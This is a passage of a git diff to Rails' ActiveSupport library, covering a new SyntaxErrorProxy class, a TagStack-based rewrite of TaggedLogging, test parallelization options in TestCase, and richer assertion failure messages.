-  # See the documentation of <tt>ActiveSupport::PerThreadRegistry</tt>
-  # for further details.
-  class SubscriberQueueRegistry # :nodoc:
-    extend PerThreadRegistry
+        def fetch_public_methods(subscriber, inherit_all)
+          subscriber.public_methods(inherit_all) - Subscriber.public_instance_methods(true)
+        end
+    end
+
+    attr_reader :patterns # :nodoc:
 
     def initialize
-      @registry = {}
+      @patterns  = {}
+      super
     end
 
-    def get_queue(queue_key)
-      @registry[queue_key] ||= []
+    def call(event)
+      method = event.name[0, event.name.index(".")]
+      send(method, event)
     end
   end
 end
diff --git a/activesupport/lib/active_support/syntax_error_proxy.rb b/activesupport/lib/active_support/syntax_error_proxy.rb
new file mode 100644
index 0000000000000..08b125553a250
--- /dev/null
+++ b/activesupport/lib/active_support/syntax_error_proxy.rb
@@ -0,0 +1,67 @@
+# frozen_string_literal: true
+
+require "delegate"
+
+module ActiveSupport
+  # This is a class for wrapping syntax errors.  The purpose of this class
+  # is to enhance the backtraces on SyntaxError exceptions to include the
+  # source location of the syntax error.  That way we can display the error
+  # source on error pages in development.
+  class SyntaxErrorProxy < ActiveSupport::Delegation::DelegateClass(SyntaxError) # :nodoc:
+    def backtrace
+      parse_message_for_trace + super
+    end
+
+    class BacktraceLocation < Struct.new(:path, :lineno, :to_s) # :nodoc:
+      def spot(_)
+      end
+
+      def label
+      end
+
+      def base_label
+      end
+
+      def absolute_path
+        path
+      end
+    end
+
+    class BacktraceLocationProxy < ActiveSupport::Delegation::DelegateClass(Thread::Backtrace::Location) # :nodoc:
+      def initialize(loc, ex)
+        super(loc)
+        @ex = ex
+      end
+
+      def spot(_)
+        super(@ex.__getobj__)
+      end
+    end
+
+    def backtrace_locations
+      return nil if super.nil?
+
+      parse_message_for_trace.map { |trace|
+        file, line = trace.match(/^(.+?):(\d+).*$/, &:captures) || trace
+        BacktraceLocation.new(file, line.to_i, trace)
+        # We have to wrap these backtrace locations because we need the
+        # spot information to come from the originating exception, not the
+        # proxy object that's generating these
+      } + super.map { |loc| BacktraceLocationProxy.new(loc, self) }
+    end
+
+    private
+      def parse_message_for_trace
+        if __getobj__.to_s.start_with?("(eval")
+          # If the exception is coming from a call to eval, we need to keep
+          # the path of the file in which eval was called to ensure we can
+          # return the right source fragment to show the location of the
+          # error
+          location = __getobj__.backtrace_locations[0]
+          ["#{location.path}:#{location.lineno}: #{__getobj__}"]
+        else
+          __getobj__.to_s.split("\n")
+        end
+      end
+  end
+end
diff --git a/activesupport/lib/active_support/tagged_logging.rb b/activesupport/lib/active_support/tagged_logging.rb
index ad134c49b603d..594ea30e056c3 100644
--- a/activesupport/lib/active_support/tagged_logging.rb
+++ b/activesupport/lib/active_support/tagged_logging.rb
@@ -1,15 +1,27 @@
+# frozen_string_literal: true
+
 require "active_support/core_ext/module/delegation"
 require "active_support/core_ext/object/blank"
-require "logger"
 require "active_support/logger"
 
 module ActiveSupport
+  # = Active Support Tagged Logging
+  #
   # Wraps any standard Logger object to provide tagging capabilities.
   #
+  # May be called with a block:
+  #
   #   logger = ActiveSupport::TaggedLogging.new(Logger.new(STDOUT))
-  #   logger.tagged('BCX') { logger.info 'Stuff' }                            # Logs "[BCX] Stuff"
-  #   logger.tagged('BCX', "Jason") { logger.info 'Stuff' }                   # Logs "[BCX] [Jason] Stuff"
-  #   logger.tagged('BCX') { logger.tagged('Jason') { logger.info 'Stuff' } } # Logs "[BCX] [Jason] Stuff"
+  #   logger.tagged('BCX') { logger.info 'Stuff' }                                  # Logs "[BCX] Stuff"
+  #   logger.tagged('BCX', "Jason") { |tagged_logger| tagged_logger.info 'Stuff' }  # Logs "[BCX] [Jason] Stuff"
+  #   logger.tagged('BCX') { logger.tagged('Jason') { logger.info 'Stuff' } }       # Logs "[BCX] [Jason] Stuff"
+  #
+  # If called without a block, a new logger will be returned with applied tags:
+  #
+  #   logger = ActiveSupport::TaggedLogging.new(Logger.new(STDOUT))
+  #   logger.tagged("BCX").info "Stuff"                 # Logs "[BCX] Stuff"
+  #   logger.tagged("BCX", "Jason").info "Stuff"        # Logs "[BCX] [Jason] Stuff"
+  #   logger.tagged("BCX").tagged("Jason").info "Stuff" # Logs "[BCX] [Jason] Stuff"
   #
   # This is used by the default Rails.logger as configured by Railties to make
   # it easy to stamp log lines with subdomains, request ids, and anything else
@@ -18,47 +30,108 @@ module TaggedLogging
     module Formatter # :nodoc:
       # This method is invoked when a log event occurs.
       def call(severity, timestamp, progname, msg)
-        super(severity, timestamp, progname, "#{tags_text}#{msg}")
+        super(severity, timestamp, progname, tag_stack.format_message(msg))
       end
 
       def tagged(*tags)
-        new_tags = push_tags(*tags)
+        pushed_count = tag_stack.push_tags(tags).size
         yield self
       ensure
-        pop_tags(new_tags.size)
+        pop_tags(pushed_count)
       end
 
       def push_tags(*tags)
-        tags.flatten.reject(&:blank?).tap do |new_tags|
-          current_tags.concat new_tags
-        end
+        tag_stack.push_tags(tags)
       end
 
-      def pop_tags(size = 1)
-        current_tags.pop size
+      def pop_tags(count = 1)
+        tag_stack.pop_tags(count)
       end
 
       def clear_tags!
-        current_tags.clear
+        tag_stack.clear
       end
 
-      def current_tags
+      def tag_stack
         # We use our object ID here to avoid conflicting with other instances
-        thread_key = @thread_key ||= "activesupport_tagged_logging_tags:#{object_id}".freeze
-        Thread.current[thread_key] ||= []
+        @thread_key ||= "activesupport_tagged_logging_tags:#{object_id}"
+        IsolatedExecutionState[@thread_key] ||= TagStack.new
+      end
+
+      def current_tags
+        tag_stack.tags
       end
 
       def tags_text
-        tags = current_tags
-        if tags.any?
-          tags.collect { |tag| "[#{tag}] " }.join
+        tag_stack.format_message("")
+      end
+    end
+
+    class TagStack # :nodoc:
+      attr_reader :tags
+
+      def initialize
+        @tags = []
+        @tags_string = nil
+      end
+
+      def push_tags(tags)
+        @tags_string = nil
+        tags.flatten!
+        tags.reject!(&:blank?)
+        @tags.concat(tags)
+        tags
+      end
+
+      def pop_tags(count)
+        @tags_string = nil
+        @tags.pop(count)
+      end
+
+      def clear
+        @tags_string = nil
+        @tags.clear
+      end
+
+      def format_message(message)
+        if @tags.empty?
+          message
+        elsif @tags.size == 1
+          "[#{@tags[0]}] #{message}"
+        else
+          @tags_string ||= "[#{@tags.join("] [")}] "
+          "#{@tags_string}#{message}"
         end
       end
     end
 
+    module LocalTagStorage # :nodoc:
+      attr_accessor :tag_stack
+
+      def self.extended(base)
+        base.tag_stack = TagStack.new
+      end
+    end
+
+    # Returns an `ActiveSupport::Logger` that has already been wrapped with tagged logging concern.
+    def self.logger(*args, **kwargs)
+      new ActiveSupport::Logger.new(*args, **kwargs)
+    end
+
     def self.new(logger)
-      # Ensure we set a default formatter so we aren't extending nil!
-      logger.formatter ||= ActiveSupport::Logger::SimpleFormatter.new
+      logger = logger.clone
+
+      if logger.formatter
+        logger.formatter = logger.formatter.clone
+
+        # Workaround for https://bugs.ruby-lang.org/issues/20250
+        # Can be removed when Ruby 3.4 is the least supported version.
+        logger.formatter.object_id if logger.formatter.is_a?(Proc)
+      else
+        # Ensure we set a default formatter so we aren't extending nil!
+        logger.formatter = ActiveSupport::Logger::SimpleFormatter.new
+      end
+
       logger.formatter.extend Formatter
       logger.extend(self)
     end
@@ -66,7 +139,14 @@ def self.new(logger)
     delegate :push_tags, :pop_tags, :clear_tags!, to: :formatter
 
     def tagged(*tags)
-      formatter.tagged(*tags) { yield self }
+      if block_given?
+        formatter.tagged(*tags) { yield self }
+      else
+        logger = ActiveSupport::TaggedLogging.new(self)
+        logger.formatter.extend LocalTagStorage
+        logger.push_tags(*formatter.current_tags, *tags)
+        logger
+      end
     end
 
     def flush
diff --git a/activesupport/lib/active_support/test_case.rb b/activesupport/lib/active_support/test_case.rb
index 3de4ccc1dafdb..89f6cd54e4afe 100644
--- a/activesupport/lib/active_support/test_case.rb
+++ b/activesupport/lib/active_support/test_case.rb
@@ -1,21 +1,44 @@
-gem "minitest" # make sure we get the gem, not stdlib
+# frozen_string_literal: true
+
 require "minitest"
 require "active_support/testing/tagged_logging"
 require "active_support/testing/setup_and_teardown"
+require "active_support/testing/tests_without_assertions"
 require "active_support/testing/assertions"
+require "active_support/testing/error_reporter_assertions"
+require "active_support/testing/event_reporter_assertions"
 require "active_support/testing/deprecation"
 require "active_support/testing/declarative"
 require "active_support/testing/isolation"
 require "active_support/testing/constant_lookup"
 require "active_support/testing/time_helpers"
+require "active_support/testing/constant_stubbing"
 require "active_support/testing/file_fixtures"
-require "active_support/core_ext/kernel/reporting"
+require "active_support/testing/parallelization"
+require "active_support/testing/parallelize_executor"
+require "active_support/testing/notification_assertions"
+require "concurrent/utility/processor_counter"
 
 module ActiveSupport
   class TestCase < ::Minitest::Test
     Assertion = Minitest::Assertion
 
+    # Class variable to store the parallel worker ID
+    @@parallel_worker_id = nil
+
     class << self
+      # Returns the current parallel worker ID if tests are running in parallel,
+      # nil otherwise.
+      #
+      #   ActiveSupport::TestCase.parallel_worker_id # => 2
+      def parallel_worker_id
+        @@parallel_worker_id
+      end
+
+      def parallel_worker_id=(value) # :nodoc:
+        @@parallel_worker_id = value
+      end
+
       # Sets the order in which test cases are run.
       #
       #   ActiveSupport::TestCase.test_order = :random # => :random
@@ -38,34 +61,320 @@ def test_order=(new_order)
       def test_order
         ActiveSupport.test_order ||= :random
       end
+
+      if Minitest.respond_to? :run_order # MT6 API change
+        def run_order # :nodoc:
+          test_order
+        end
+      end
+
+      # Parallelizes the test suite.
+      #
+      # Takes a +workers+ argument that controls how many times the process
+      # is forked. For each process a new database will be created suffixed
+      # with the worker number.
+      #
+      #   test-database_0
+      #   test-database_1
+      #
+      # If <tt>ENV["PARALLEL_WORKERS"]</tt> is set the workers argument will be ignored
+      # and the environment variable will be used instead. This is useful for CI
+      # environments, or other environments where you may need more workers than
+      # you do for local testing. Note that setting <tt>PARALLEL_WORKERS</tt> will
+      # also bypass the +threshold+ check, enabling parallelization regardless of
+      # test count.
+      #
+      # If the number of workers is set to +1+ or fewer, the tests will not be
+      # parallelized.
+      #
+      # If +workers+ is set to +:number_of_processors+, the number of workers will be
+      # set to the actual core count on the machine you are on.
+      #
+      # The default parallelization method is to fork processes. If you'd like to
+      # use threads instead you can pass <tt>with: :threads</tt> to the +parallelize+
+      # method. Note the threaded parallelization does not create multiple
+      # databases and will not work with system tests.
+      #
+      #   parallelize(workers: :number_of_processors, with: :threads)
+      #
+      # The threaded parallelization uses minitest's parallel executor directly.
+      # The processes parallelization uses a Ruby DRb server.
+      #
+      # Because parallelization presents an overhead, it is only enabled when the
+      # number of tests to run is above the +threshold+ param. The default value is
+      # 50, and it's configurable via +config.active_support.test_parallelization_threshold+.
+      #
+      # Parallelization shuffles tests and distributes them to workers in
+      # round-robin order, so given the same seed value and worker count, the
+      # same sequence of tests will run on each worker. This makes flaky tests
+      # caused by parallel test interdependence somewhat easier to reproduce,
+      # though it is not a guarantee of deterministic test execution.
+      #
+      # This can make test runtime slower and spikier when one worker gets most
+      # of the slow tests. Enable +work_stealing+ to allow idle workers to steal
+      # tests from busy workers, smoothing out runtime at the cost of less
+      # reproducible flaky-test failures:
+      #
+      #   parallelize(workers: :number_of_processors, work_stealing: true)
+      #
+      # If you want to skip Rails default creation of one database per process in favor of
+      # writing your own implementation, you can set +parallelize_databases+, or configure it
+      # via +config.active_support.parallelize_test_databases+.
+      #
+      #   parallelize(workers: :number_of_processors, parallelize_databases: false)
+      #
+      # Note that your test suite may deadlock if you attempt to use only one database
+      # with multiple processes.
+      def parallelize(workers: :number_of_processors, with: :processes, threshold: ActiveSupport.test_parallelization_threshold, parallelize_databases: ActiveSupport.parallelize_test_databases, work_stealing: false)
+        case
+        when ENV["PARALLEL_WORKERS"]
+          workers = ENV["PARALLEL_WORKERS"].to_i
+        when workers == :number_of_processors
+          workers = (Concurrent.available_processor_count || Concurrent.processor_count).floor
+        end
+
+        if with == :processes
+          ActiveSupport.parallelize_test_databases = parallelize_databases
+        end
+
+        Minitest.parallel_executor = ActiveSupport::Testing::ParallelizeExecutor.new(size: workers, with: with, threshold: threshold, work_stealing: work_stealing)
+      end
+
+      # Before fork hook for parallel testing. This can be used to run anything
+      # before the processes are forked.
+      #
+      # In your +test_helper.rb+ add the following:
+      #
+      #   class ActiveSupport::TestCase
+      #     parallelize_before_fork do
+      #       # run this before fork
+      #     end
+      #   end
+      def parallelize_before_fork(&block)
+        ActiveSupport::Testing::Parallelization.before_fork_hook(&block)
+      end
+
+      # Setup hook for parallel testing. This can be used if you have multiple
+      # databases or any behavior that needs to be run after the process is forked
+      # but before the tests run.
+      #
+      # Note: this feature is not available with the threaded parallelization.
+      #
+      # In your +test_helper.rb+ add the following:
+      #
+      #   class ActiveSupport::TestCase
+      #     parallelize_setup do
+      #       # create databases
+      #     end
+      #   end
+      def parallelize_setup(&block)
+        ActiveSupport::Testing::Parallelization.after_fork_hook(&block)
+      end
+
+      # Clean up hook for parallel testing. This can be used to drop databases
+      # if your app uses multiple write/read databases or other clean up before
+      # the tests finish. This runs before the forked process is closed.
+      #
+      # Note: this feature is not available with the threaded parallelization.
+      #
+      # In your +test_helper.rb+ add the following:
+      #
+      #   class ActiveSupport::TestCase
+      #     parallelize_teardown do
+      #       # drop databases
+      #     end
+      #   end
+      def parallelize_teardown(&block)
+        ActiveSupport::Testing::Parallelization.run_cleanup_hook(&block)
+      end
+
+      # :singleton-method: fixture_paths
+      #
+      # Returns the ActiveRecord::FixtureSet collection.
+      #
+      # In your +test_helper.rb+ you must have <tt>require "rails/test_help"</tt>.
+
+      # :singleton-method: fixture_paths=
+      #
+      # :call-seq:
+      #   fixture_paths=(fixture_paths)
+      #
+      # Sets the given path to the fixture set.
+      #
+      # Can also append multiple paths.
+      #
+      #   ActiveSupport::TestCase.fixture_paths << "component1/test/fixtures"
+      #
+      # In your +test_helper.rb+ you must have <tt>require "rails/test_help"</tt>.
     end
 
     alias_method :method_name, :name
 
+    # Returns the current parallel worker ID if tests are running in parallel
+    def parallel_worker_id
+      self.class.parallel_worker_id
+    end
+
     include ActiveSupport::Testing::TaggedLogging
-    include ActiveSupport::Testing::SetupAndTeardown
+    prepend ActiveSupport::Testing::SetupAndTeardown
+    prepend ActiveSupport::Testing::TestsWithoutAssertions
     include ActiveSupport::Testing::Assertions
+    include ActiveSupport::Testing::ErrorReporterAssertions
+    include ActiveSupport::Testing::EventReporterAssertions
+    include ActiveSupport::Testing::NotificationAssertions
     include ActiveSupport::Testing::Deprecation
+    include ActiveSupport::Testing::ConstantStubbing
     include ActiveSupport::Testing::TimeHelpers
     include ActiveSupport::Testing::FileFixtures
     extend ActiveSupport::Testing::Declarative
 
-    # test/unit backwards compatibility methods
-    alias :assert_raise :assert_raises
+    ##
+    # :method: assert_not_empty
+    #
+    # :call-seq:
+    #   assert_not_empty(obj, msg = nil)
+    #
+    # Alias for: refute_empty[https://docs.seattlerb.org/minitest/Minitest/Assertions.html#method-i-refute_empty]
+
+    #
     alias :assert_not_empty :refute_empty
+
+    ##
+    # :method: assert_not_equal
+    #
+    # :call-seq:
+    #   assert_not_equal(exp, act, msg = nil)
+    #
+    # Alias for: refute_equal[https://docs.seattlerb.org/minitest/Minitest/Assertions.html#method-i-refute_equal]
+
+    #
     alias :assert_not_equal :refute_equal
+
+    ##
+    # :method: assert_not_in_delta
+    #
+    # :call-seq:
+    #   assert_not_in_delta(exp, act, delta = 0.001, msg = nil)
+    #
+    # Alias for: refute_in_delta[https://docs.seattlerb.org/minitest/Minitest/Assertions.html#method-i-refute_in_delta]
+
+    #
     alias :assert_not_in_delta :refute_in_delta
+
+    ##
+    # :method: assert_not_in_epsilon
+    #
+    # :call-seq:
+    #   assert_not_in_epsilon(a, b, epsilon = 0.001, msg = nil)
+    #
+    # Alias for: refute_in_epsilon[https://docs.seattlerb.org/minitest/Minitest/Assertions.html#method-i-refute_in_epsilon]
+
+    #
     alias :assert_not_in_epsilon :refute_in_epsilon
+
+    ##
+    # :method: assert_not_includes
+    #
+    # :call-seq:
+    #   assert_not_includes(collection, obj, msg = nil)
+    #
+    # Alias for: refute_includes[https://docs.seattlerb.org/minitest/Minitest/Assertions.html#method-i-refute_includes]
+
+    #
     alias :assert_not_includes :refute_includes
+
+    ##
+    # :method: assert_not_instance_of
+    #
+    # :call-seq:
+    #   assert_not_instance_of(cls, obj, msg = nil)
+    #
+    # Alias for: refute_instance_of[https://docs.seattlerb.org/minitest/Minitest/Assertions.html#method-i-refute_instance_of]
+
+    #
     alias :assert_not_instance_of :refute_instance_of
+
+    ##
+    # :method: assert_not_kind_of
+    #
+    # :call-seq:
+    #   assert_not_kind_of(cls, obj, msg = nil)
+    #
+    # Alias for: refute_kind_of[https://docs.seattlerb.org/minitest/Minitest/Assertions.html#method-i-refute_kind_of]
+
+    #
     alias :assert_not_kind_of :refute_kind_of
+
+    ##
+    # :method: assert_no_match
+    #
+    # :call-seq:
+    #   assert_no_match(matcher, obj, msg = nil)
+    #
+    # Alias for: refute_match[https://docs.seattlerb.org/minitest/Minitest/Assertions.html#method-i-refute_match]
+
+    #
     alias :assert_no_match :refute_match
+
+    ##
+    # :method: assert_not_nil
+    #
+    # :call-seq:
+    #   assert_not_nil(obj, msg = nil)
+    #
+    # Alias for: refute_nil[https://docs.seattlerb.org/minitest/Minitest/Assertions.html#method-i-refute_nil]
+
+    #
     alias :assert_not_nil :refute_nil
+
+    ##
+    # :method: assert_not_operator
+    #
+    # :call-seq:
+    #   assert_not_operator(o1, op, o2 = UNDEFINED, msg = nil)
+    #
+    # Alias for: refute_operator[https://docs.seattlerb.org/minitest/Minitest/Assertions.html#method-i-refute_operator]
+
+    #
     alias :assert_not_operator :refute_operator
+
+    ##
+    # :method: assert_not_predicate
+    #
+    # :call-seq:
+    #   assert_not_predicate(o1, op, msg = nil)
+    #
+    # Alias for: refute_predicate[https://docs.seattlerb.org/minitest/Minitest/Assertions.html#method-i-refute_predicate]
+
+    #
     alias :assert_not_predicate :refute_predicate
+
+    ##
+    # :method: assert_not_respond_to
+    #
+    # :call-seq:
+    #   assert_not_respond_to(obj, meth, msg = nil)
+    #
+    # Alias for: refute_respond_to[https://docs.seattlerb.org/minitest/Minitest/Assertions.html#method-i-refute_respond_to]
+
+    #
     alias :assert_not_respond_to :refute_respond_to
+
+    ##
+    # :method: assert_not_same
+    #
+    # :call-seq:
+    #   assert_not_same(exp, act, msg = nil)
+    #
+    # Alias for: refute_same[https://docs.seattlerb.org/minitest/Minitest/Assertions.html#method-i-refute_same]
+
+    #
     alias :assert_not_same :refute_same
 
     ActiveSupport.run_load_hooks(:active_support_test_case, self)
+
+    def inspect # :nodoc:
+      Object.instance_method(:to_s).bind_call(self)
+    end
   end
 end
diff --git a/activesupport/lib/active_support/testing/assertions.rb b/activesupport/lib/active_support/testing/assertions.rb
index 28cf2953bff29..4f2c6b105bc19 100644
--- a/activesupport/lib/active_support/testing/assertions.rb
+++ b/activesupport/lib/active_support/testing/assertions.rb
@@ -1,11 +1,15 @@
+# frozen_string_literal: true
+
+require "active_support/core_ext/enumerable"
+
 module ActiveSupport
   module Testing
     module Assertions
       UNTRACKED = Object.new # :nodoc:
 
-      # Asserts that an expression is not truthy. Passes if <tt>object</tt> is
-      # +nil+ or +false+. "Truthy" means "considered true in a conditional"
-      # like <tt>if foo</tt>.
+      # Asserts that an expression is not truthy. Passes if +object+ is +nil+ or
+      # +false+. "Truthy" means "considered true in a conditional" like <tt>if
+      # foo</tt>.
       #
       #   assert_not nil    # => true
       #   assert_not false  # => true
@@ -15,10 +19,25 @@ module Assertions
       #
       #   assert_not foo, 'foo should be false'
       def assert_not(object, message = nil)
-        message ||= "Expected #{mu_pp(object)} to be nil or false"
+        message ||= -> { "Expected #{mu_pp(object)} to be nil or false" }
         assert !object, message
       end
 
+      # Asserts that a block raises one of +exp+. This is an enhancement of the
+      # standard Minitest assertion method with the ability to test error
+      # messages.
+      #
+      #   assert_raises(ArgumentError, match: /incorrect param/i) do
+      #     perform_service(param: 'exception')
+      #   end
+      #
+      def assert_raises(*exp, match: nil, &block)
+        error = super(*exp, &block)
+        assert_match(match, error.message) if match
+        error
+      end
+      alias :assert_raise :assert_raises
+
       # Assertion that the block should not raise an exception.
       #
       # Passes if evaluated code in the yielded block raises no exception.
@@ -27,7 +46,9 @@ def assert_not(object, message = nil)
       #     perform_service(param: 'no_exception')
       #   end
       def assert_nothing_raised
-        yield
+        yield.tap { assert(true) }
+      rescue => error
+        raise Minitest::UnexpectedError.new(error)
       end
 
       # Test numeric difference between the return value of an expression as a
@@ -44,19 +65,25 @@ def assert_nothing_raised
       #   end
       #
       # An arbitrary positive or negative difference can be specified.
-      # The default is <tt>1</tt>.
+      # The default is +1+.
       #
       #   assert_difference 'Article.count', -1 do
       #     post :delete, params: { id: ... }
       #   end
       #
-      # An array of expressions can also be passed in and evaluated.
+      # An array of expressions can be passed in and evaluated.
       #
       #   assert_difference [ 'Article.count', 'Post.count' ], 2 do
       #     post :create, params: { article: {...} }
       #   end
       #
-      # A lambda or a list of lambdas can be passed in and evaluated:
+      # A hash of expressions/numeric differences can be passed in and evaluated.
+      #
+      #   assert_difference({ 'Article.count' => 1, 'Notification.count' => 2 }) do
+      #     post :create, params: { article: {...} }
+      #   end
+      #
+      # A lambda, a list of lambdas or a hash of lambdas/numeric differences can be passed in and evaluated:
       #
       #   assert_difference ->{ Article.count }, 2 do
       #     post :create, params: { article: {...} }
@@ -66,25 +93,43 @@ def assert_nothing_raised
       #     post :create, params: { article: {...} }
       #   end
       #
+      #   assert_difference ->{ Article.count } => 1, ->{ Notification.count } => 2 do
+      #     post :create, params: { article: {...} }
+      #   end
+      #
       # An error message can be specified.
       #
       #   assert_difference 'Article.count', -1, 'An Article should be destroyed' do
       #     post :delete, params: { id: ... }
       #   end
-      def assert_difference(expression, difference = 1, message = nil, &block)
-        expressions = Array(expression)
+      def assert_difference(expression, *args, &block)
+        expressions =
+          if expression.is_a?(Hash)
+            message = args[0]
+            expression
+          else
+            difference = args[0] || 1
+            message = args[1]
+            Array(expression).index_with(difference)
+          end
 
-        exps = expressions.map { |e|
+        exps = expressions.keys.map { |e|
           e.respond_to?(:call) ? e : lambda { eval(e, block.binding) }
         }
         before = exps.map(&:call)
 
-        retval = yield
+        retval = _assert_nothing_raised_or_warn("assert_difference", &block)
 
-        expressions.zip(exps).each_with_index do |(code, e), i|
-          error  = "#{code.inspect} didn't change by #{difference}"
-          error  = "#{message}.\n#{error}" if message
-          assert_equal(before[i] + difference, e.call, error)
+        expressions.zip(exps, before) do |(code, diff), exp, before_value|
+          actual = exp.call
+          rich_message = -> do
+            code_string = code.respond_to?(:call) ? _callable_to_source_string(code) : code
+            error = "`#{code_string}` didn't change by #{diff}, but by #{actual - before_value}."
+            error = "#{error}\n#{diff before_value + diff, actual}" if Minitest::VERSION > "6"
+            error = "#{message}.\n#{error}" if message
+            error
+          end
+          assert_equal(before_value + diff, actual, rich_message)
         end
 
         retval
@@ -97,11 +142,23 @@ def assert_difference(expression, difference = 1, message = nil, &block)
       #     post :create, params: { article: invalid_attributes }
       #   end
       #
+      # A lambda can be passed in and evaluated.
+      #
+      #   assert_no_difference -> { Article.count } do
+      #     post :create, params: { article: invalid_attributes }
+      #   end
+      #
       # An error message can be specified.
       #
       #   assert_no_difference 'Article.count', 'An Article should not be created' do
       #     post :create, params: { article: invalid_attributes }
       #   end
+      #
+      # An array of expressions can also be passed in and evaluated.
+      #
+      #   assert_no_difference [ 'Article.count', -> { Post.count } ] do
+      #     post :create, params: { article: invalid_attributes }
+      #   end
       def assert_no_difference(expression, message = nil, &block)
         assert_difference expression, 0, message, &block
       end
@@ -127,14 +184,26 @@ def assert_no_difference(expression, message = nil, &block)
       #     @object = 42
       #   end
       #
-      # The keyword arguments :from and :to can be given to specify the
+      # The keyword arguments +:from+ and +:to+ can be given to specify the
       # expected initial value and the expected value after the block was
-      # executed.
+      # executed. The comparison is done using case equality (===), which means
+      # you can specify patterns or classes:
       #
+      #   # Exact value match
       #   assert_changes :@object, from: nil, to: :foo do
       #     @object = :foo
       #   end
       #
+      #   # Case equality
+      #   assert_changes -> { user.token }, to: /\w{32}/ do
+      #     user.generate_token
+      #   end
+      #
+      #   # Type check
+      #   assert_changes -> { current_error }, from: nil, to: RuntimeError do
+      #     raise "Oops"
+      #   end
+      #
       # An error message can be specified.
       #
       #   assert_changes -> { Status.all_good? }, 'Expected the status to be bad' do
@@ -144,54 +213,157 @@ def assert_changes(expression, message = nil, from: UNTRACKED, to: UNTRACKED, &b
         exp = expression.respond_to?(:call) ? expression : -> { eval(expression.to_s, block.binding) }
 
         before = exp.call
-        retval = yield
+        retval = _assert_nothing_raised_or_warn("assert_changes", &block)
 
         unless from == UNTRACKED
-          error = "#{expression.inspect} isn't #{from.inspect}"
-          error = "#{message}.\n#{error}" if message
-          assert from === before, error
+          rich_message = -> do
+            error = "Expected change from #{from.inspect}, got #{before.inspect}"
+            error = "#{message}.\n#{error}" if message
+            error
+          end
+          assert from === before, rich_message
         end
 
         after = exp.call
 
-        if to == UNTRACKED
-          error = "#{expression.inspect} didn't changed"
-          error = "#{message}.\n#{error}" if message
-          assert_not_equal before, after, error
-        else
-          error = "#{expression.inspect} didn't change to #{to}"
+        rich_message = -> do
+          code_string = expression.respond_to?(:call) ? _callable_to_source_string(expression) : expression
+          error = "`#{code_string}` didn't change"
+          error = "#{error}. It was already #{to.inspect}." if before == to
           error = "#{message}.\n#{error}" if message
-          assert to === after, error
+          error
+        end
+        refute_equal before, after, rich_message
+
+        unless to == UNTRACKED
+          rich_message = -> do
+            error = "Expected change to #{to.inspect}, got #{after.inspect}\n"
+            error = "#{message}.\n#{error}" if message
+            error
+          end
+          assert to === after, rich_message
         end
 
         retval
       end
 
-      # Assertion that the result of evaluating an expression is changed before
+      # Assertion that the result of evaluating an expression is not changed before
       # and after invoking the passed in block.
       #
       #   assert_no_changes 'Status.all_good?' do
       #     post :create, params: { status: { ok: true } }
       #   end
       #
+      # Provide the optional keyword argument +:from+ to specify the expected
+      # initial value. The comparison is done using case equality (===), which means
+      # you can specify patterns or classes:
+      #
+      #   # Exact value match
+      #   assert_no_changes -> { Status.all_good? }, from: true do
+      #     post :create, params: { status: { ok: true } }
+      #   end
+      #
+      #   # Case equality
+      #   assert_no_changes -> { user.token }, from: /\w{32}/ do
+      #     user.touch
+      #   end
+      #
+      #   # Type check
+      #   assert_no_changes -> { current_error }, from: RuntimeError do
+      #     retry_operation
+      #   end
+      #
       # An error message can be specified.
       #
       #   assert_no_changes -> { Status.all_good? }, 'Expected the status to be good' do
       #     post :create, params: { status: { ok: false } }
       #   end
-      def assert_no_changes(expression, message = nil, &block)
+      def assert_no_changes(expression, message = nil, from: UNTRACKED, &block)
         exp = expression.respond_to?(:call) ? expression : -> { eval(expression.to_s, block.binding) }
 
         before = exp.call
-        retval = yield
+        retval = _assert_nothing_raised_or_warn("assert_no_changes", &block)
+
+        unless from == UNTRACKED
+          rich_message = -> do
+            error = "Expected initial value of #{from.inspect}, got #{before.inspect}"
+            error = "#{message}.\n#{error}" if message
+            error
+          end
+          assert from === before, rich_message
+        end
+
         after = exp.call
 
-        error = "#{expression.inspect} did change to #{after}"
-        error = "#{message}.\n#{error}" if message
-        assert_equal before, after, error
+        rich_message = -> do
+          code_string = expression.respond_to?(:call) ? _callable_to_source_string(expression) : expression
+          error = "`#{code_string}` changed."
+          error = "#{message}.\n#{error}" if message
+          error = "#{error}\n#{diff before, after}" if Minitest::VERSION > "6"
+          error
+        end
+
+        if before.nil?
+          assert_nil after, rich_message
+        else
+          assert_equal before, after, rich_message
+        end
 
         retval
       end
+
+      private
+        def _assert_nothing_raised_or_warn(assertion, &block)
+          assert_nothing_raised(&block)
+        rescue Minitest::UnexpectedError => e
+          if tagged_logger && tagged_logger.warn?
+            warning = <<~MSG
+              #{self.class} - #{name}: #{e.error.class} raised.
+              If you expected this exception, use `assert_raises` as near to the code that raises as possible.
+              Other block based assertions (e.g. `#{assertion}`) can be used, as long as `assert_raises` is inside their block.
+            MSG
+            tagged_logger.warn warning
+          end
+
+          raise
+        end
+
+        def _callable_to_source_string(callable)
+          if defined?(RubyVM::InstructionSequence) && callable.is_a?(Proc)
+            iseq = RubyVM::InstructionSequence.of(callable)
+            source =
+              if iseq.script_lines
+                iseq.script_lines.join("\n")
+              elsif File.readable?(iseq.absolute_path)
+                File.read(iseq.absolute_path)
+              end
+
+            return callable unless source
+
+            location = iseq.to_a[4][:code_location]
+            return callable unless location
+
+            lines = source.lines[(location[0] - 1)..(location[2] - 1)]
+            lines[-1] = lines[-1].byteslice(...location[3])
+            lines[0] = lines[0].byteslice(location[1]...)
+            source = lines.join.strip
+
+            # We ignore procs defined with do/end as they are likely multi-line anyway.
+            if source.start_with?("{")
+              source.delete_suffix!("}")
+              source.delete_prefix!("{")
+              source.strip!
+              # It won't read nice if the callable contains multiple
+              # lines, and it should be a rare occurrence anyway.
+              # Same if it takes arguments.
+              if !source.include?("\n") && !source.start_with?("|")
+                return source
+              end
+            end
+          end
+
+          callable
+        end
     end
   end
 end
diff --git a/activesupport/lib/active_support/testing/autorun.rb b/activesupport/lib/active_support/testing/autorun.rb
index 3108e3e5491ec..a7dd58191af45 100644
--- a/activesupport/lib/active_support/testing/autorun.rb
+++ b/activesupport/lib/active_support/testing/autorun.rb
@@ -1,9 +1,10 @@
-gem "minitest"
+# frozen_string_literal: true
 
 require "minitest"
 
-if Minitest.respond_to?(:run_via) && !Minitest.run_via[:rails]
-  Minitest.run_via[:ruby] = true
-end
-
+# This respond_to check handles tests running sub-processes in an
+# unbundled environment, which triggers MT5 usage. This conditional may
+# be removable after the version bump, though it currently safeguards
+# against issues in environments with multiple versions installed.
+Minitest.load :rails if Minitest.respond_to? :load
 Minitest.autorun
